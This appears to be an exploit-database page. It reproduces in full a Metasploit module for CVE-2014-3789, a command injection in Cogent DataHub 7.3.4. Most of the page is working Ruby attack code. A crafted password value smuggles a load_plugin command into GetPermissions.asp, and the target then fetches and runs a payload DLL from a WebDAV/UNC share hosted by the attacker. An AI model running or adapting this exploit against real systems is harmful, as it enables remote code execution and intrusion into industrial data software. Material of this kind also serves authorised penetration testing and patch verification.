header-logo
Suggest Exploit
vendor:
DataHub
by:
John Leitch, juan vazquez
7,5
CVSS
HIGH
Command Injection
78
CWE
Product Name: DataHub
Affected Version From: 7.3.4
Affected Version To: 7.3.5
Patch Exists: YES
Related CWE: CVE-2014-3789
CPE: a:cogent_datahub:datahub
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows 7 SP1
2014

Cogent DataHub Command Injection

This module exploits an injection vulnerability in Cogent DataHub prior to 7.3.5. The vulnerability exists in the GetPermissions.asp page, which makes insecure use of the datahub_command function with user controlled data, allowing execution of arbitrary datahub commands and scripts. This module has been tested successfully with Cogent DataHub 7.3.4 on Windows 7 SP1.

Mitigation:

Upgrade to Cogent DataHub 7.3.5 or later
Source

Exploit-DB raw data:

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  # Exploitation is reliable, but the service hangs and needs manual restarting.
  Rank = ManualRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::EXE

  def initialize
    super(
      'Name'          => 'Cogent DataHub Command Injection',
      'Description'   => %q{
        This module exploits an injection vulnerability in Cogent DataHub prior
        to 7.3.5. The vulnerability exists in the GetPermissions.asp page, which
        makes insecure use of the datahub_command function with user controlled
        data, allowing execution of arbitrary datahub commands and scripts. This
        module has been tested successfully with Cogent DataHub 7.3.4 on
        Windows 7 SP1.
      },
      'Author'      => [
        'John Leitch', # Vulnerability discovery
        'juan vazquez' # Metasploit module
      ],
      'Platform'    => 'win',
      'References'  =>
        [
          ['ZDI', '14-136'],
          ['CVE', '2014-3789'],
          ['BID', '67486']
        ],
      'Stance'      => Msf::Exploit::Stance::Aggressive,
      'DefaultOptions' => {
        'WfsDelay' => 30,
        'InitialAutoRunScript' => 'migrate -f'
      },
      'Targets'     =>
        [
          [ 'Cogent DataHub < 7.3.5', { } ],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Apr 29 2014'
    )
    register_options(
      [
        OptString.new('URIPATH',   [ true,  'The URI to use (do not change)', '/']),
        OptPort.new('SRVPORT',     [ true,  'The daemon port to listen on ' + 
                                                      '(do not change)', 80 ]),
        OptInt.new('WEBDAV_DELAY', [ true,  'Time that the HTTP Server will ' +
                                          'wait for the payload request', 20]),
        OptString.new('UNCPATH',   [ false, 'Override the UNC path to use.' ])
      ], self.class)
  end

  def autofilter
    false
  end

  def on_request_uri(cli, request)
    case request.method
      when 'OPTIONS'
        process_options(cli, request)
      when 'PROPFIND'
        process_propfind(cli, request)
      when 'GET'
        process_get(cli, request)
      else
        vprint_status("#{request.method} => 404 (#{request.uri})")
        resp = create_response(404, "Not Found")
        resp.body = ""
        resp['Content-Type'] = 'text/html'
        cli.send_response(resp)
    end
  end

  def process_get(cli, request)

    if blacklisted_path?(request.uri)
      vprint_status("GET => 404 [BLACKLIST] (#{request.uri})")
      resp = create_response(404, "Not Found")
      resp.body = ""
      cli.send_response(resp)
      return
    end

    if request.uri.include?(@basename)
      print_status("GET => Payload")
      return if ((p = regenerate_payload(cli)) == nil)
      data = generate_payload_dll({ :code => p.encoded })
      send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
      return
    end

    # Treat index.html specially
    if (request.uri[-1,1] == "/" or request.uri =~ /index\.html?$/i)
      vprint_status("GET => REDIRECT (#{request.uri})")
      resp = create_response(200, "OK")

      resp.body  = %Q|<html><head><meta http-equiv="refresh" content="0;URL=|
      resp.body += %Q|#{@exploit_unc}#{@share_name}\\"></head><body></body></html>|
      resp['Content-Type'] = 'text/html'
      cli.send_response(resp)
      return
    end

    # Anything else is probably a request for a data file...
    vprint_status("GET => DATA (#{request.uri})")
    data = rand_text_alpha(4 + rand(4))
    send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
  end

  #
  # OPTIONS requests sent by the WebDav Mini-Redirector
  #
  def process_options(cli, request)
    vprint_status("OPTIONS #{request.uri}")
    headers = {
      'MS-Author-Via' => 'DAV',
      'DASL'          => '<DAV:sql>',
      'DAV'           => '1, 2',
      'Allow'         => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY,' +
                    + ' MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',
      'Public'        => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, ' +
                    + 'LOCK, UNLOCK',
      'Cache-Control' => 'private'
    }
    resp = create_response(207, "Multi-Status")
    headers.each_pair {|k,v| resp[k] = v }
    resp.body = ""
    resp['Content-Type'] = 'text/xml'
    cli.send_response(resp)
  end

  #
  # PROPFIND requests sent by the WebDav Mini-Redirector
  #
  def process_propfind(cli, request)
    path = request.uri
    vprint_status("PROPFIND #{path}")

    if path !~ /\/$/

      if blacklisted_path?(path)
        vprint_status "PROPFIND => 404 (#{path})"
        resp = create_response(404, "Not Found")
        resp.body = ""
        cli.send_response(resp)
        return
      end

      if path.index(".")
        vprint_status "PROPFIND => 207 File (#{path})"
        body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|
        # send the response
        resp = create_response(207, "Multi-Status")
        resp.body = body
        resp['Content-Type'] = 'text/xml; charset="utf8"'
        cli.send_response(resp)
        return
      else
        vprint_status "PROPFIND => 301 (#{path})"
        resp = create_response(301, "Moved")
        resp["Location"] = path + "/"
        resp['Content-Type'] = 'text/html'
        cli.send_response(resp)
        return
      end
    end

    vprint_status "PROPFIND => 207 Directory (#{path})"
    body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
  <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
    <D:href>#{path}</D:href>
    <D:propstat>
      <D:prop>
        <lp1:resourcetype><D:collection/></lp1:resourcetype>
        <lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
        <lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
        <lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
        <D:supportedlock>
          <D:lockentry>
            <D:lockscope><D:exclusive/></D:lockscope>
            <D:locktype><D:write/></D:locktype>
          </D:lockentry>
          <D:lockentry>
            <D:lockscope><D:shared/></D:lockscope>
            <D:locktype><D:write/></D:locktype>
          </D:lockentry>
        </D:supportedlock>
        <D:lockdiscovery/>
        <D:getcontenttype>httpd/unix-directory</D:getcontenttype>
      </D:prop>
    <D:status>HTTP/1.1 200 OK</D:status>
  </D:propstat>
</D:response>
|

    if request["Depth"].to_i > 0
      trail = path.split("/")
      trail.shift
      case trail.length
        when 0
          body << generate_shares(path)
        when 1
          body << generate_files(path)
      end
    else
      vprint_status "PROPFIND => 207 Top-Level Directory"
    end

    body << "</D:multistatus>"

    body.gsub!(/\t/, '')

    # send the response
    resp = create_response(207, "Multi-Status")
    resp.body = body
    resp['Content-Type'] = 'text/xml; charset="utf8"'
    cli.send_response(resp)
  end

  def generate_shares(path)
    share_name = @share_name
    %Q|
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{share_name}/</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
|
  end

  def generate_files(path)
    trail = path.split("/")
    return "" if trail.length < 2

    base  = @basename
    exts  = @extensions.gsub(",", " ").split(/\s+/)
    files = ""
    exts.each do |ext|
      files << %Q|
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{base}.#{ext}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x10000)+120}</lp1:getcontentlength>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
<D:ishidden b:dt="boolean">1</D:ishidden>
</D:propstat>
</D:response>
|
    end

    files
  end

  def gen_timestamp(ttype=nil)
    ::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT")
  end

  def gen_datestamp(ttype=nil)
    ::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ")
  end

  # This method rejects requests that are known to break exploitation
  def blacklisted_path?(uri)
    share_path = "/#{@share_name}"
    payload_path = "#{share_path}/#{@basename}.dll"
    case uri
      when payload_path
        return false
      when share_path
        return false
      else
        return true
    end
  end

  def check
    res = send_request_cgi({
      'method'    => 'POST',
      'uri'       => normalize_uri('/', 'Silverlight', 'GetPermissions.asp'),
      'vars_post' =>
        {
          'username' => rand_text_alpha(4 + rand(4)),
          'password' => rand_text_alpha(4 + rand(4))
        }
      })

    if res && res.code == 200 && res.body =~ /PermissionRecord/
        return Exploit::CheckCode::Detected
    end

    Exploit::CheckCode::Safe
  end

  def send_injection(dll)
    res = send_request_cgi({
      'method'    => 'POST',
      'uri'       => normalize_uri('/', 'Silverlight', 'GetPermissions.asp'),
      'vars_post' =>
        {
          'username' => rand_text_alpha(3 + rand(3)),
          'password' => "#{rand_text_alpha(3 + rand(3))}\")" + 
                        "(load_plugin \"#{dll}\" 1)(\""
        }
      }, 1)

    res
  end

  def on_new_session(session)
    if service
      service.stop
    end

    super
  end

  def primer
    print_status("#{peer} - Sending injection...")
    res = send_injection("\\\\\\\\#{@myhost}\\\\#{@share_name}\\\\#{@basename}.dll")
    if res
      print_error("#{peer} - Unexpected answer")
    end
  end

  def exploit
    if datastore['UNCPATH'].blank?
      @basename = rand_text_alpha(3)
      @share_name = rand_text_alpha(3)
      @extensions = "dll"
      @system_commands_file = rand_text_alpha_lower(4)

      if (datastore['SRVHOST'] == '0.0.0.0')
        @myhost = Rex::Socket.source_address('50.50.50.50')
      else
        @myhost = datastore['SRVHOST']
      end

      @exploit_unc  = "\\\\#{@myhost}\\"

      if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
        fail_with(Failure::BadConfig, 'Using WebDAV requires SRVPORT=80 and ' + 
                  'URIPATH=/')
      end

      print_status("Starting Shared resource at #{@exploit_unc}#{@share_name}" +
                    "\\#{@basename}.dll")

      begin
        # The Windows Webclient needs some time...
        Timeout.timeout(datastore['WEBDAV_DELAY']) { super }
      rescue ::Timeout::Error
        service.stop if service
      end
    else
      # Using external SMB Server
      if datastore['UNCPATH'] =~ /\\\\([^\\]*)\\([^\\]*)\\([^\\]*\.dll)/
        host = $1
        share_name = $2
        dll_name = $3
        print_status("#{peer} - Sending injection...")
        res = send_injection("\\\\\\\\#{host}\\\\#{share_name}\\\\#{dll_name}")
        if res
          print_error("#{peer} - Unexpected answer")
        end
      else
        fail_with(Failure::BadConfig, 'Bad UNCPATH format, should be ' + 
                  '\\\\host\\shared_folder\\base_name.dll')
      end
    end
  end

end